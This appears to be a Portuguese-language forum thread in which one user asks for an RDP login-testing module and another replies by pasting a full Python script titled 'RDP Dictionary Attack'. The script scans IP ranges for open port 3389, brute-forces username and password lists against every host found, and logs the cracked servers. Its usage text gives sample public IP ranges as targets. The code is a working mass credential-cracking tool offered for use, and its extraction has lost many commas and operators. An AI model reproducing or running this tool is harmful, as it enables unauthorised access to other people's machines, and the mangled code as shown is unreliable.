Resultados 1 a 2 de 2

Tpico: Mdulo Para conexo RDP

  1. #1
    Membro ingresso
    Data de Ingresso
    Apr 2012
    Posts
    70
    Post Thanks / Like

    Mdulo Para conexo RDP

    Algum conhece um modulo para fazer conexo com RDP (Remote Desktop Protocol) ?
    Preciso somente testar se a senha e o usuario esto corretos

  2. #2
    Veterano ingresso
    Data de Ingresso
    Jan 2011
    Localizao
    Pgu ~ PR
    Posts
    2.363
    Post Thanks / Like
    Salve MMxM!
    Ressuscitando o tpico.
    Navegando por sites estrangeiros me deparei com esse cdigo, que acredito que poder cumprir com o propsito do tpico(Pastebin Link).

    Cdigo PHP:
    #! /usr/bin/env python
    # RDP Dictionary Attack
    # 21.05.2012 cmiN

    from sys import argvplatform
    from threading import Thread
    active_countLock
    from subprocess import Popen
    from socket import 
    *

    # defaults
    THRD # how many threads for crack phase
    TOUT 6.0 # timeout in seconds
    # get global host ip
    try:
        
    sock socket(AF_INETSOCK_STREAM)
        
    sock.connect(("www.google.com"80)) # assuming google works
    except error as excp# error from socket (timed out or invalid server)
        
    print "Check your internet connection: %s." excp
        
    exit()
    else:
        
    HOST sock.getsockname()[0]
    finally:
        
    sock.close()
        
    del sock
    PORT 
    51337 # used for local listening
    # attack modes
    RDP1 = ["rdesktop""-u""{user}""-p""{password}""-s""telnet {host} {port}",
            
    "-g""1x1""-a""8""-x""m""-z""-m""{server}"]
    RDP2 = ["xfreerdp""-u""{user}""-p""{password}""-s""telnet {host} {port}",
            
    "-g""1x1""-a""8""-x""m""-z""--no-motion""{server}"]
    VERB False # verbose
    METH "r" # RDP1
    USER = ["Administrator"]
    SAFE True
    SWTC 
    True
    LIMT 
    None # attacks (test only, None -> unlimited)

    class Engine:
        
    """Main class used to find and crack servers with desired options.
        For more info see usage from the bottom of the script.
        It executes commands through subprocess and waits for replies within timeout.
        """

        
    def __init__(selfthreadstimeouthostportrdp1rdp2verbosemethodusrsafe, switch):
            
    """Copy global options and prepare the core."""
            
    self.cli True # activate print/stdout (set to False if a GUI is used)
            
    self.threads threads
            self
    .timeout timeout
            self
    .host host
            self
    .port port
            self
    .rdp1 rdp1
            self
    .rdp2 rdp2
            self
    .verbose verbose
            self
    .sockets dict() # D[x] = True if x is available otherwise False
            
    self.pos = list() # list with indexes (user, password, server, telnet)
            
    self.usr usr
            self
    .pwd None
            self
    .srv None
            
    # set the command used for scanning
            
    if method == "x":
                
    self.command self.rdp2
            
    else:
                
    self.command self.rdp1
            
    # default: don't save
            
    self.working None
            self
    .cracked None
            self
    .good = list() # rdp servers
            
    self.delete set() # dispose of cracked servers
            
    self.lock Lock() # global printing thread synchronization
            
    self.sock_mutex Lock() # for localhost socket use
            
    if "linux" in platform:
                
    self.null open("/dev/null""w")
            else:
                
    self.null open("NUL""w")
            
    self.safe safe
            self
    .switch = switch

        
    def __del__(self):
            
    """Destructor."""
            
    if hasattr(self.srv"close"):
                
    self.srv.close()
            if 
    hasattr(self.usr"close"):
                
    self.usr.close()
            if 
    self.pwd:
                
    self.pwd.close()
            if 
    self.working:
                
    self.working.close()
            if 
    self.cracked:
                
    self.cracked.close()
            for 
    sock in self.sockets:
                
    sock.shutdown(SHUT_RDWR)
                
    sock.close()

        
    def generator(selfsrcdest):
            
    """Just like grandpa's old mileage meter :]."""
            
    temp "%d.%d.%d.%d"
            
    byte 256
            
    yield temp tuple(src# yield -> the beauty of python
            
    while (src != dest):    # like return but continue
                
    src[3] += 1
                
    if src[3] == byte:
                    
    src[3] = 0
                    src
    [2] += 1
                    
    if src[2] == byte:
                        
    src[2] = 0
                        src
    [1] += 1
                        
    if src[1] == byte:
                            
    src[1] = 0
                            src
    [0] += 1
                
    yield temp tuple(src)

        
    def set_threads(selfthreads):
            
    self.threads threads

        def set_safe
    (selfsafe):
            
    self.safe safe

        def set_switch
    (self, switch):
            
    self.switch = switch

        
    def set_timeout(selftimeout):
            
    self.timeout timeout

        def set_verbose
    (selfverbose):
            
    self.verbose verbose

        def set_method
    (selfmethod):
            if 
    method == "x":
                
    self.command self.rdp2
            
    else:
                
    self.command self.rdp1

        def set_usr
    (selfusr):
            
    """If this is called, then the users are taken from a file."""
            
    self.usr open(usr"r"# do not use the generic one

        
    def set_pwd(selfpwd):
            
    """The file with passwords is mandatory."""
            
    self.pwd open(pwd"r")

        
    def set_srv(selfsrv):
            
    """Make a file object or range generator from argument."""
            
    if srv.find("-") == -1# not found -> not range
                
    self.srv open(srv"r")
            else:
                
    chunks srv.split("-")
                
    srcdest chunks[0].split("."), chunks[1].split(".")
                for 
    i in xrange(4):
                    
    src[i] = int(src[i])
                    
    dest[i] = int(dest[i])
                
    self.srv self.generator(srcdest)

        
    def set_working(selfworking):
            
    """Save progress in scan phase."""
            
    self.working open(working"a"# safe append

        
    def set_cracked(selfcracked):
            
    """Save progress in crack phase."""
            
    self.cracked open(cracked"a")

        
    def scan_server(selfserver):
            
    """Check if the rdp port is opened on the specified server."""
            
    try:
                
    # create the socket and connect
                
    sock socket(AF_INETSOCK_STREAM)
                
    sock.connect((server3389))
            
    except error:
                
    # timed out in most cases
                
    if self.verbose:
                    
    self.lock.acquire()
                    if 
    self.cli:
                        print 
    "[-] %s [NO]" server # only with -v
                    
    self.lock.release()
            else:
                
    # good news everyone
                
    self.lock.acquire()
                if 
    self.cli:
                    print 
    "[+] %s [OK]" server
                self
    .good.append(server)
                if 
    self.working:
                    
    self.working.write(server "\n")
                    
    self.working.flush()
                
    self.lock.release()
            finally:
                
    sock.close()

        
    def scan(self):
            
    """Just like a port scanner for 3389."""
            
    setdefaulttimeout(self.timeout 10.0# 10%
            
    for server in self.srv:
                while 
    active_count() > self.threads 16:
                    
    pass # do not exceed number of threads
                
    if self.switch: # scan them
                    # now call the method in a separate thread
                    
    Thread(target=self.scan_serverargs=[server.strip()]).start()
                else: 
    # or skip the scan
                    
    self.good.append(server.strip())
            while 
    active_count() > 1:
                
    pass # join all

        
    def acquire_sock(self):
            for 
    sockstate in self.sockets.iteritems():
                if 
    state# available
                    
    self.sockets[sock] = False # use it
                    
    return sock

        def release_sock
    (selfsock):
            
    self.sockets[sock] = True

        def crack_server
    (selfcommand):
            try:
                
    # get a server
                
    self.sock_mutex.acquire()
                
    sock self.acquire_sock()
                
    self.sock_mutex.release()
                
    command[self.pos[3]] = command[self.pos[3]].format(port=sock.getsockname()[1])
                
    child Popen(commandstdout=self.nullstderr=self.null# no wait
                
    sock.accept() # here is the big overhead
            
    except error as excp:
                
    # timed out
                
    if self.verbose:
                    
    self.lock.acquire()
                    if 
    self.cli:
                        print 
    "[-] %s %s %s [NO]" % (command[self.pos[2]], command[self.pos[0]],
                                                      
    command[self.pos[1]])
                    
    self.lock.release()
            else:
                
    # good news again
                
    show "%s %s %s" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]])
                
    self.delete.add(command[self.pos[2]]) # cracked! no need to process again
                
    self.lock.acquire()
                if 
    self.cli:
                    print 
    "[+] " show " [OK]"
                
    if self.cracked:
                    
    self.cracked.write(show "\n")
                    
    self.cracked.flush()
                
    self.lock.release()
            finally:
                
    child.kill()
                
    # do not close it, instead release it for further use
                
    self.release_sock(sock# O(1) and can't affect the same socket

        
    def crack(self):
            
    """For each user take each password and test them with each working server."""
            
    goodLen len(self.good)
            if 
    goodLen == 0:
                if 
    self.cli:
                    print 
    "[!] No servers to crack."
                
    return
            if 
    self.safe# avoid deadlocks or strange behavior
                
    self.set_threads(min(self.threadsgoodLen))
            
    users = [line.strip() for line in self.usr]
            
    passwords = [line.strip() for line in self.pwd]
            if 
    self.cli:
                print 
    "[i] Cracking %d hosts in %fs." % (goodLenfloat(len(users)) * len(passwords) *
                                                         
    goodLen self.timeout self.threads)
            
    setdefaulttimeout(self.timeout# now use the real timeout
            # prepare the sockets
            
    for port in xrange(self.threads):
                
    sock socket(AF_INETSOCK_STREAM)
                
    sock.settimeout(self.timeout)
                
    sock.bind((self.hostself.port port))
                
    sock.listen(1)
                
    self.sockets[sock] = True
            
    # init command template
            
    command self.command
            shellIndex 
    command.index("telnet {host} {port}")
            
    command[shellIndex] = command[shellIndex].format(host=self.hostport="{port}")
            
    self.pos = [command.index("{user}"), command.index("{password}"),
                        
    command.index("{server}"), shellIndex]
            
    attacks 0
            
    for user in users:
                
    command[self.pos[0]] = user
                
    for password in passwords:
                    
    command[self.pos[1]] = password
                    
    for server in self.good:
                        
    command[self.pos[2]] = server
                        
    while active_count() > self.threads:
                            
    pass # do not exceed number of threads
                        
    attacks += 1
                        
    if LIMT and attacks LIMT:
                            if 
    self.cli:
                                print 
    "[!] Limit reached, buy the script."
                            
    return
                        
    # now call the method in a separate thread
                        
    Thread(target=self.crack_serverargs=[command[:]]).start()
                    for 
    server in self.delete# N^2 can be reduced to NlogN with set
                        
    self.good.remove(server# and also to N with index memorization
                    
    self.delete.clear()
            while 
    active_count() > 1:
                
    pass # join all

    def parse():
        
    at 1
        params 
    = list()
        while 
    at argc:
            if 
    argv[atin ("-h""--help"):
                print 
    usage
                
    exit() # do not start the process
            
    elif argv[atin ("-v""--verbose"):
                
    app.set_verbose(True)
            
    elif argv[atin ("-t""--threads"):
                
    at += 1
                app
    .set_threads(int(argv[at]))
            
    elif argv[atin ("-T""--timeout"):
                
    at += 1
                app
    .set_timeout(float(argv[at]))
            
    elif argv[atin ("-m""--method"):
                
    at += 1
                app
    .set_method(argv[at])
            
    elif argv[atin ("-w""--working"):
                
    at += 1
                app
    .set_working(argv[at])
            
    elif argv[atin ("-c""--cracked"):
                
    at += 1
                app
    .set_cracked(argv[at])
            
    elif argv[atin ("-s""--safe-off"):
                
    app.set_safe(False)
            
    elif argv[atin ("-n""--no-scan"):
                
    app.set_switch(False)
            else:
                if 
    argv[at][0] == "-":
                    
    raise Exception("Invalid option")
                
    params.append(argv[at])
            
    at += 1
        pLen 
    len(params)
        if 
    pLen not in (23):
            
    raise Exception("Invalid number of parameters")
        
    app.set_srv(params[-1])
        
    app.set_pwd(params[-2])
        if 
    pLen == 3:
            
    app.set_usr(params[-3]) # same index as 0




    def main():
        try:
            if 
    argc == 1:
                
    # show a message or start the GUI which is missing :)
                
    print "You should run: %s --help" argv[0]
                exit()
            
    # or parse the arguments
            
    parse()
            
    # and start the scanner
            
    print "[i] Scan phase started."
            
    app.scan() # filter the input for working rdp servers
            
    print "[i] Crack phase started."
            
    app.crack() # crack them
        
    except Exception as excp:
            print 
    "[x] Error: %s." excp
        except KeyboardInterrupt
    :
            print 
    "[!] Stopped."
        
    else:
            print 
    "[i] Finished."

    if __name__ == "__main__":
        
    argc len(argv)
        
    usage """
    Usage: {0} [options] [usr] pwd srv

    Options:
        -t, --threads <number>     number of threads (parallel connections)
        -s, --safe-off             by default the number of threads is reduced
                                   to the number of working servers if it's greater
                                   use this option to keep the number of threads
        -T, --timeout <seconds>    waiting response time for each connection
        -m, --method <r/x>         use [r]desktop or [x]freerdp
        -w, --working <file>       file used to store servers with 3389 opened
        -c, --cracked <file>       file used to store cracked servers
        -n, --no-scan              skip scan phase asumming all servers are working rdps
        -v, --verbose              show extra information (default off)
        -h, --help                 show this help

    Parameters:
        usr                        users file (default users: {1})
        pwd                        passwords file
        srv                        servers file or range (abc.def.ghi.jkl-mno.pqr.stu.vwx)

    Examples:
        {0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60
        {0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15
        {0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txt

    Users, passwords and working servers are loaded into memory.
    Be aware to not open a file for both read and write. More exactly do not use
    the same file name with `-w`/`-c` and `srv`.


    THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY
    I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM


    Send bugs to cmin764@yahoo/gmail.com.
    """
    .format(argv[0], USER)
        
    app Engine(THRDTOUTHOSTPORTRDP1RDP2VERBMETHUSERSAFESWTC)
        
    main()
        
    del app 
    O cdigo em si no est elegante, e provavelmente seja obsoleto, porm creio que seja til para fins de estudo.
    ltima edio por str0p; 04 Oct 2013 s 19:41.

Permisses de Postagem

  • Voc no pode iniciar novos tpicos
  • Voc no pode enviar respostas
  • Voc no pode enviar anexos
  • Voc no pode editar suas mensagens
  •